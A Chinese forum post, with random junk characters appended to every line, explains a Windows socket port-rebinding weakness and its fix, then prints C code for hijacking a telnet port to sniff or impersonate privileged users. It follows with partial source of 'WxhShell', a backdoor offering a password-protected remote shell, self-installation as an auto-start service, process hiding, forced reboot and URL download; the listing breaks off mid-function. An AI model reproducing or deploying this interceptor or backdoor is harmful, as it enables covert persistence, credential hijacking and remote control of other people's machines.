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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =.6JvX<d1*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y (=$z/  
'>dx~v %  
  saddr.sin_family = AF_INET; fqD1Ej  
JX2@i8[~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +IbQVU~/  
ivP#qM1*;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j# !U6T  
p7]V1w:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sEEyN3 N  
yxL(mt8  
  这意味着什么?意味着可以进行如下的攻击: 69EdMuf  
]"-c?%L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MI|anM  
S2"H E`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vUgMfy&  
J4q_}^/2w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fV5MI[ t  
0I"r*;9?K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cc>+OUL  
Tj,1]_`=V$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nY50dFA,  
.WT ar9e#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4{Af 3N  
qI5`:PH%n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ibQN pIz  
M}xyW"yp  
  #include DjveMs$d  
  #include n8'#'^|  
  #include xPorlX)zW  
  #include    Gil mJ2<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F4 :#okt  
  int main() FR? \H"'x  
  { _jD\kg#LY  
  WORD wVersionRequested; PNhxF C.  
  DWORD ret; [vyi_0[  
  WSADATA wsaData; _/@u[dWeL  
  BOOL val; 5 p! rZ  
  SOCKADDR_IN saddr; \ 3HB  
  SOCKADDR_IN scaddr; _!Ir|j.A  
  int err; ;A;FR3=)  
  SOCKET s; "vN~7%  
  SOCKET sc; LV!<vakCK  
  int caddsize; T6fm`uL&L  
  HANDLE mt; {~+o+LV  
  DWORD tid;   OVa38Aucr3  
  wVersionRequested = MAKEWORD( 2, 2 ); ZBl!7_[_  
  err = WSAStartup( wVersionRequested, &wsaData ); pkT26)aW  
  if ( err != 0 ) { U@<]>.$  
  printf("error!WSAStartup failed!\n"); U6yZKK  
  return -1; ud:5_*  
  } (bo-JOOdY(  
  saddr.sin_family = AF_INET; BoHpfx1C  
    mPS27z(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,7mB`0j>  
6PdLJ#LS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +/4wioGm  
  saddr.sin_port = htons(23); :*dfP/GO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &_ W~d0  
  { JJVdq-k+`  
  printf("error!socket failed!\n"); }?^5L7n  
  return -1; *d mS'/  
  } ~3,k8C"pRq  
  val = TRUE; mo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hh{pp ^  
  { t?;\'  
  printf("error!setsockopt failed!\n"); Dwg_#GSr  
  return -1; t) 4AQ  
  } vj hh4$k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }`^D O Ar  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "z9 p(|oZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \zx$]|AQ  
ds;c\x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /YHAU5N/}  
  { VL2+"<  
  ret=GetLastError(); x#c%+  
  printf("error!bind failed!\n"); y`8 bx94jB  
  return -1; iTIYq0u|#R  
  } nC(<eL  
  listen(s,2); =]m,7v Rq  
  while(1) b  >x03%  
  { $ n"*scyI  
  caddsize = sizeof(scaddr); r%412 #  
  //接受连接请求 t5;)<N`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gUHx(Fi[4  
  if(sc!=INVALID_SOCKET) dBNx2T}_0  
  { L5 Q^cY]p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jN T+?2  
  if(mt==NULL) GiS:Nq`$(  
  { DuI>z?bS  
  printf("Thread Creat Failed!\n"); ckdXla  
  break; 5VjO:>  
  } S:8 WBY]M  
  } Df5!z\dx  
  CloseHandle(mt); =>htX(k}  
  } %:e.ES  
  closesocket(s); !yo@i_1D  
  WSACleanup(); .)Zs:5 0l  
  return 0; Ci_Qra 6  
  }   E(g$f.9  
  DWORD WINAPI ClientThread(LPVOID lpParam) FL E3LH  
  { o8h` 9_  
  SOCKET ss = (SOCKET)lpParam; $(+#$F<eo+  
  SOCKET sc; b!oj3|9  
  unsigned char buf[4096]; 4~ i?xo=;v  
  SOCKADDR_IN saddr; \dJOZ2J<z  
  long num; Z]08gH  
  DWORD val; PnZC I!Mw  
  DWORD ret; UU*v5&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dCpDA a3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i !;9A6D  
  saddr.sin_family = AF_INET; RmRPR<vGW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qPoN 8>.  
  saddr.sin_port = htons(23); 6_g:2=6S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  L30$  
  { $8WWN} OC  
  printf("error!socket failed!\n"); \>[k0<  
  return -1; b} FhC"'i  
  } vEw8<<cgg  
  val = 100; M@+Pq/f:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mI'&!@WG  
  { 6{!Cx9V  
  ret = GetLastError(); $:RR1.Tv  
  return -1; >!Dp'6  
  } q~`dxq`}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <b:xyHS  
  { 1YN w=  
  ret = GetLastError(); @Yn+ir0>O  
  return -1; V5'(op/  
  } ;z T3Fv\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NG_7jZzXA9  
  { jss.j~8  
  printf("error!socket connect failed!\n"); 9,[A fI  
  closesocket(sc); |]5`T9K@b#  
  closesocket(ss); h"7~`!"~  
  return -1; 8]D0)  
  } ]=ADX}  
  while(1) /j-c29nz  
  { >t{-_4Yv?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [kf6bf@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0Wj,=9q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =0a z5td  
  num = recv(ss,buf,4096,0); 5W0s9yD  
  if(num>0) vXm'ARj  
  send(sc,buf,num,0); \q\"=  
  else if(num==0) +)LCYDRV7  
  break; l <p(zLR  
  num = recv(sc,buf,4096,0); YSrjg|k*  
  if(num>0) @C%6Wo4l3  
  send(ss,buf,num,0); %JgdLnQE  
  else if(num==0) (eAz nTU  
  break; Kq5i8L=u  
  } 67XUhnE  
  closesocket(ss); w{ ;Sp?Os  
  closesocket(sc); !_FTy^@c2  
  return 0 ; Mh{244|o[  
  } /b\c<'3NY  
$01csj  
NeJ->x,  
========================================================== a@J/[$5  
*?\u5O(  
下边附上一个代码,,WXhSHELL zU0SlRFu  
C`R<55x6  
========================================================== 1[J|AkN  
w3z'ZCcr;"  
#include "stdafx.h" Npi) R)  
o".,JnbX l  
#include <stdio.h> |]9L#  
#include <string.h> ~sZ$`t  
#include <windows.h> TW|- 0  
#include <winsock2.h> 1$+8wDVwad  
#include <winsvc.h> I\x9xJ4x  
#include <urlmon.h> 8t. QFze?  
[:(/cKo  
#pragma comment (lib, "Ws2_32.lib") PfyJJAQ[  
#pragma comment (lib, "urlmon.lib") ;rF[y7\  
k'k}/Hxub  
#define MAX_USER   100 // 最大客户端连接数 PXqG;o*Q*?  
#define BUF_SOCK   200 // sock buffer _9JFlBx  
#define KEY_BUFF   255 // 输入 buffer m"'} {3$%  
+*Z'oCBJ,  
#define REBOOT     0   // 重启 W+/_0GgQ3  
#define SHUTDOWN   1   // 关机 -cijLlz%+  
jCXBp>9$M  
#define DEF_PORT   5000 // 监听端口 JXMH7  
.#-F@0a  
#define REG_LEN     16   // 注册表键长度 *c [^/  
#define SVC_LEN     80   // NT服务名长度 l? U!rFRq`  
i/skU9  
// 从dll定义API 7RWgc]@?>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); El@*Fo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gw\..O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZOMYo]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NPrLM5  
<e?Eva%t`  
// wxhshell配置信息 8Y.9%@  
struct WSCFG { M2N8?Ycv3  
  int ws_port;         // 监听端口 HFI0\*xn(  
  char ws_passstr[REG_LEN]; // 口令 A=5Ebu!z  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZZ!">AN`^  
  char ws_regname[REG_LEN]; // 注册表键名 ! xG*W6IT  
  char ws_svcname[REG_LEN]; // 服务名 vXRY/Zzj1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jeJgDAUv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p7@R+F\.};  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |oke)w=gn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4l%1D.3-O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9aY8`B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hcwfe=K&/  
"I)zi]vk  
}; }ePl&-9T  
qSB&Q0T  
// default Wxhshell configuration 4&;iORw&E4  
struct WSCFG wscfg={DEF_PORT, eu9*3'@A  
    "xuhuanlingzhe", UUlz3"`  
    1, flo$[]`.7  
    "Wxhshell", C_kuW+H  
    "Wxhshell", P|bow+4  
            "WxhShell Service", U]~@_j  
    "Wrsky Windows CmdShell Service", - ~|Gwr"  
    "Please Input Your Password: ", SXZ9+<\  
  1, HyU:BW;  
  "http://www.wrsky.com/wxhshell.exe", e5>'H!)  
  "Wxhshell.exe" NFZ(*v1U  
    }; fDf[:A,8  
'v~'NWfd  
// 消息定义模块 Rbf6/C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ze eV-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;_e9v,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 14B',]`  
char *msg_ws_ext="\n\rExit."; q\?s<l63  
char *msg_ws_end="\n\rQuit."; ]`|$nU}v  
char *msg_ws_boot="\n\rReboot..."; \X:e9~  
char *msg_ws_poff="\n\rShutdown..."; p35=CX`T.  
char *msg_ws_down="\n\rSave to "; vKG\8+  
>bh+!5Y0  
char *msg_ws_err="\n\rErr!"; %7 bd}sJ#  
char *msg_ws_ok="\n\rOK!"; su1lv#  
p)yP_P  
char ExeFile[MAX_PATH]; heCM+ =#~  
int nUser = 0; .Q,"gsY  
HANDLE handles[MAX_USER]; \D?'.Wo%  
int OsIsNt; lD0-S0i  
D4!;*2t  
SERVICE_STATUS       serviceStatus; V| 97;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C~qZ&  
dZ`Y>wH_  
// 函数声明 @%Ld\8vdfJ  
int Install(void); \Y)HSJR;e  
int Uninstall(void); `Npa/Q  
int DownloadFile(char *sURL, SOCKET wsh); ~R w1  
int Boot(int flag); T+}|$/Tv  
void HideProc(void); 'K?h6?#  
int GetOsVer(void); S)WxTE9  
int Wxhshell(SOCKET wsl); RW. qw4  
void TalkWithClient(void *cs); 9efDM  
int CmdShell(SOCKET sock); &-yRa45?  
int StartFromService(void); K {' atc  
int StartWxhshell(LPSTR lpCmdLine); p|-MwCeH  
SN}K=)KF#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mrP48#Y+l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S{+t>en  
x|0C0a\"A  
// 数据结构和表定义 2`$*HPj+G  
SERVICE_TABLE_ENTRY DispatchTable[] = f=F:Af!  
{ A*y4<'}<  
{wscfg.ws_svcname, NTServiceMain}, 2d[q5p  
{NULL, NULL} L/tpT?$fi  
}; ?$f.[;mh  
4H-eFs%5  
// 自我安装 yxt"vm;  
int Install(void) L@S\ rImw  
{ <T}U 3lL^  
  char svExeFile[MAX_PATH]; L7C ;l,ot  
  HKEY key; SH?McBxS  
  strcpy(svExeFile,ExeFile); |u>(~6  
x.+T65X~4  
// 如果是win9x系统,修改注册表设为自启动 %Rc#/y  
if(!OsIsNt) { JY,$B-l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zd[rn:9\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _`udd)Y2  
  RegCloseKey(key); Z!"-LQJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k<<x}=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VhUWws3E  
  RegCloseKey(key); m^3x%ENZ  
  return 0; \)~d,M}kK  
    } el9P@r0  
  } mAW.p=;  
} r N$0qo  
else { g-sNYd%?a  
/4an@5.\C  
// 如果是NT以上系统,安装为系统服务 >a?Bk4w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v1OVrk>s>  
if (schSCManager!=0) fvC,P#z'|  
{ Ss>pNH@ c  
  SC_HANDLE schService = CreateService |U|>YA1[b  
  ( J\@6YU[A  
  schSCManager, R.^]{5  
  wscfg.ws_svcname, f*o  
  wscfg.ws_svcdisp, i/9iM\2  
  SERVICE_ALL_ACCESS, kW/G=_6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RpivO,   
  SERVICE_AUTO_START, lx:$EJ  
  SERVICE_ERROR_NORMAL, *:n~j9V-  
  svExeFile, {rKC4:  
  NULL, h3?>jE=H  
  NULL, fN&\8SPE  
  NULL, /+Z*)q+SbT  
  NULL, &u>dKf)5  
  NULL 3a?-UT!  
  ); QHR,p/p  
  if (schService!=0) w|9 >4  
  { "2cOSPpQL  
  CloseServiceHandle(schService); FH,]'  
  CloseServiceHandle(schSCManager); $tmdE )"&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  >(Y CZ  
  strcat(svExeFile,wscfg.ws_svcname); <YaTr9%w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LiG$M{0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &i5@4,p y9  
  RegCloseKey(key); vjS`;^9  
  return 0; E_ns4k#uG  
    } _Si=Jp][  
  } k*$WAOJEW  
  CloseServiceHandle(schSCManager); iOk ;o=  
} 8o~ NJ 6  
}  <mn[-  
N p"p*O  
return 1; xb;{<~`71  
} l0Q5q)U1A  
E-z5mX.2  
// 自我卸载 Vu$m1,/  
int Uninstall(void) bk0>f   
{ pa>C}jk}6  
  HKEY key; 53i]Q;k[  
h:aa^a~y i  
if(!OsIsNt) { b@Oq}^a&o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gNCS*a  
  RegDeleteValue(key,wscfg.ws_regname); =D`8,n [  
  RegCloseKey(key); Scrj%h%[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xo[o^go  
  RegDeleteValue(key,wscfg.ws_regname); .t "VsY|  
  RegCloseKey(key); _?~%+Oz/  
  return 0; T8^9*]:@c!  
  } f^F;`;z  
} V 0Bl6  
} &hYgu3O  
else { b$_81i  
7gC?<;\0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !.vyzCJTzB  
if (schSCManager!=0) ,PlH|  
{ ,H]%4@]|o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S/]\GG{  
  if (schService!=0) gb_Y]U  
  { ,X@o@W+L  
  if(DeleteService(schService)!=0) { Uy?jVPL  
  CloseServiceHandle(schService); j?K$w`  
  CloseServiceHandle(schSCManager); yK*vn]}  
  return 0; _ Sr}3  
  } Ge q]wv8  
  CloseServiceHandle(schService); !..<_qfw  
  } `2.c=,S{  
  CloseServiceHandle(schSCManager); 1VJ${\H]  
} pD<w@2K  
} $.`o  
ER"69zQg|2  
return 1; ofy"SM  
} =5|7S&{  
p<fCGU  
// 从指定url下载文件 TLwxP"  
int DownloadFile(char *sURL, SOCKET wsh) RjW wsC~B  
{ ,L<JG  
  HRESULT hr; ]+D@E2E  
char seps[]= "/"; rB[J*5v  
char *token; !Z$d<~Mq q  
char *file; ',EI[ ]+  
char myURL[MAX_PATH]; %Ig$:I(o  
char myFILE[MAX_PATH]; FGV L[\  
a"jE\OZ{+s  
strcpy(myURL,sURL); &L8RLSfX  
  token=strtok(myURL,seps); '`jGr+K,wU  
  while(token!=NULL) :v^/k]S  
  { D3o,2E(o  
    file=token; > 80{n8  
  token=strtok(NULL,seps); /!5Wd(:  
  } (?4%Xtul1  
2 @#yQB1  
GetCurrentDirectory(MAX_PATH,myFILE); tguB@,O  
strcat(myFILE, "\\"); *'Yy@T8M  
strcat(myFILE, file); R"t#dG]1t  
  send(wsh,myFILE,strlen(myFILE),0); _b&|0j:Ud  
send(wsh,"...",3,0); ~,)jZ-fw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6W i n!4  
  if(hr==S_OK) d/d)MoaJ*t  
return 0; h P6f   
else B;9,Qbb  
return 1; NUsxMhP  
;.}L# '0j  
} +x%u?ZR  
&_L@hsm  
// 系统电源模块 zhn ?;Fi  
int Boot(int flag) /oPW0of  
{ w#.3na  
  HANDLE hToken; "Z@P&jl  
  TOKEN_PRIVILEGES tkp; #T7v]@K67  
3ahriZe  
  if(OsIsNt) { R$&;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5Kzt8Tv[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {Ze Y:\G~  
    tkp.PrivilegeCount = 1; zx#Gm=H4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {5 dVK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 07LyB\l~  
if(flag==REBOOT) { p4VARAqi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JQQyl:=  
  return 0; F.vRs|fk  
} 3&-rOc  
else { ^to*ET{0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .<m]j;|6  
  return 0; Zl>SeTjB-  
} ^6W}ZLp  
  } k~[jk5te  
  else { #49l\>1 z  
if(flag==REBOOT) { <9@n/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Myc-lCE  
  return 0; P+CV4;Xz  
} rNN>tpZ}  
else { 8Ths"zwn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5:@bNNX'j  
  return 0; %1#\LRA(  
} '{d _q6,%  
} ,3:f4e\<  
SdH=1zBc  
return 1; s$fM,l:!  
} ";/]rwHa)  
}c,b]!:  
// win9x进程隐藏模块 TEV DES  
void HideProc(void) #0AyC.\  
{ )\+Imn  
fJ}e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i c{I  
  if ( hKernel != NULL ) :w8{BIUN)  
  { S m(*<H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X'OpR   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k0Vri$x  
    FreeLibrary(hKernel); J jAxNviG  
  } WuK<?1meN  
V!:!c]8F  
return; e:G~P u`  
} > .wZEQ6QK  
3Zp<#  
// 获取操作系统版本 <#0i*PM_  
int GetOsVer(void) Qa2h#0j  
{ }IygU 6{G  
  OSVERSIONINFO winfo; Dw i-iA_q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'aNkU  
  GetVersionEx(&winfo); - (s0f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *f+s  
  return 1; uEgR>X>  
  else o)I)I/v  
  return 0; YJ~<pH  
} H; `F}qQ3  
l,|Llb  
// 客户端句柄模块 CPZ{  
int Wxhshell(SOCKET wsl) INnd TF  
{ #Y= A#Yz,{  
  SOCKET wsh; S. MRL,  
  struct sockaddr_in client; j~'.XD={  
  DWORD myID; Hzz{wY   
z83v J*.  
  while(nUser<MAX_USER) a?gF;AYk  
{ ~gX1n9_n  
  int nSize=sizeof(client); uyX % &r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?8 }pZ_j  
  if(wsh==INVALID_SOCKET) return 1; aR2N,<Cp5  
SS/vw%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I[E 6N2  
if(handles[nUser]==0) b`e_}^,c  
  closesocket(wsh); Ug*B[q/  
else M7BpOmK'  
  nUser++; P#TPI*qw  
  } QGNKQ`~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); . vHHw@  
rQv5uoD  
  return 0; (^yaAy#4  
} :>!-[hfQ  
APl]EV" l  
// 关闭 socket QN8+Uj/zx  
void CloseIt(SOCKET wsh) % Z6Q/+#fn  
{ 7nPg2K&  
closesocket(wsh); 59nRk}^$se  
nUser--; ]*NYuEgc  
ExitThread(0); i&DbZ=n2  
} 72$S'O%,0  
1V,@uY)s  
// 客户端请求句柄 fV+a0=Z  
void TalkWithClient(void *cs) "'5(UiSFz  
{ =R0f{&"i  
-#I]/7^  
  SOCKET wsh=(SOCKET)cs; GkOk.9Y,5  
  char pwd[SVC_LEN]; Pz50etJ  
  char cmd[KEY_BUFF]; co,0@.i  
char chr[1]; ltOS()[X  
int i,j; B2r[oT R  
+kWWx#L#  
  while (nUser < MAX_USER) { EUSM4djL  
"nr?WcA  
if(wscfg.ws_passstr) { `:'ciY|%b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X !h>13fW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !$98 U~L  
  //ZeroMemory(pwd,KEY_BUFF); { {?-& yA  
      i=0; '$,yV f  
  while(i<SVC_LEN) { NioqJG?p  
h`U-{VIrqi  
  // 设置超时 7bYwh8  
  fd_set FdRead; ln_&Ux+l  
  struct timeval TimeOut; <Ve0PhK  
  FD_ZERO(&FdRead); /@ em E0  
  FD_SET(wsh,&FdRead); 09 McUR@  
  TimeOut.tv_sec=8; @Yt394gA%\  
  TimeOut.tv_usec=0; I{w(`[Nxw*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bR3Crz(9G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i).Vu}W#S  
x((u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wm1dFf.>  
  pwd=chr[0]; l|+$4 Nb2  
  if(chr[0]==0xd || chr[0]==0xa) { F7' MoH  
  pwd=0; $j,$O>V  
  break; f5//?ek  
  } a )lCp  
  i++; j f4<LmR  
    } \i?bt0bM  
2RZa}  
  // 如果是非法用户,关闭 socket wMkHx3XD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V|A)f@ Fs  
} a6zWg7 PN  
5ppr;QaB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,i6U*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qc Wg  
@@ @}FV&  
while(1) { !{,2uQXe  
7x.j:{2  
  ZeroMemory(cmd,KEY_BUFF); yVVyWte,  
0(o2<d7  
      // 自动支持客户端 telnet标准   J#:`'eEG  
  j=0; V9/2y9u  
  while(j<KEY_BUFF) { ,#N}Ni:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B _ J2Bf  
  cmd[j]=chr[0]; e 6wevK\  
  if(chr[0]==0xa || chr[0]==0xd) { @ddCVxd  
  cmd[j]=0; @D[+@N  
  break; &@xm< A\S  
  } ?Xpk"N7  
  j++; j#3IF *"  
    } }!xc@  
!]?kvf-3e  
  // 下载文件  !'!\>x$  
  if(strstr(cmd,"http://")) { 1OvoW Nx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \Dl MOG  
  if(DownloadFile(cmd,wsh)) #-b}QhxH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [.Fm-$M-  
  else xrXfZ>$5bM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^PC;fn,I  
  } cY+fZ=  
  else { x _kT Wq  
Z;NaIJiL-  
    switch(cmd[0]) { Eve,*ATI  
  yOD=Vc7i  
  // 帮助 zA?AX1%Wa  
  case '?': { 3u t<o-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^f N/  
    break; ^d# AU7V|  
  } Uo9@Y{<B  
  // 安装 @ o<O I  
  case 'i': { [g`4$_9S  
    if(Install()) %<+Ku11  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oR%cG"y  
    else HoX={^aG%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S -,$ (  
    break; f/z]kfgw  
    } 'w1ll9O  
  // 卸载 'k}w|gNB  
  case 'r': { IR3+BDE)>  
    if(Uninstall()) N`d%4)|{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _s<BXj  
    else 8LF=l1=~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Y| ;V  
    break; P}=n^*8(I  
    } \' zloBU  
  // 显示 wxhshell 所在路径 Jj0:p"  
  case 'p': { \d.\M  
    char svExeFile[MAX_PATH]; 'ahz@+l O  
    strcpy(svExeFile,"\n\r"); vz3olHX  
      strcat(svExeFile,ExeFile); >`[+24e  
        send(wsh,svExeFile,strlen(svExeFile),0); &*8.%qe;  
    break; $mf O:%  
    } g0QYBrp  
  // 重启 00SS<iX  
  case 'b': { @K S.H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [j TU nP  
    if(Boot(REBOOT)) ?.-+U~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KbciRRf!k  
    else { O9<oq  
    closesocket(wsh); sSk qU  
    ExitThread(0); k|RY; 8_  
    } "Q\b6 7Ch  
    break; wmX(%5vY^  
    } ,jW a&7  
  // 关机 I\-M`^@  
  case 'd': { (i\{hq/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ml)\RL  
    if(Boot(SHUTDOWN)) =b"{*Heuw  
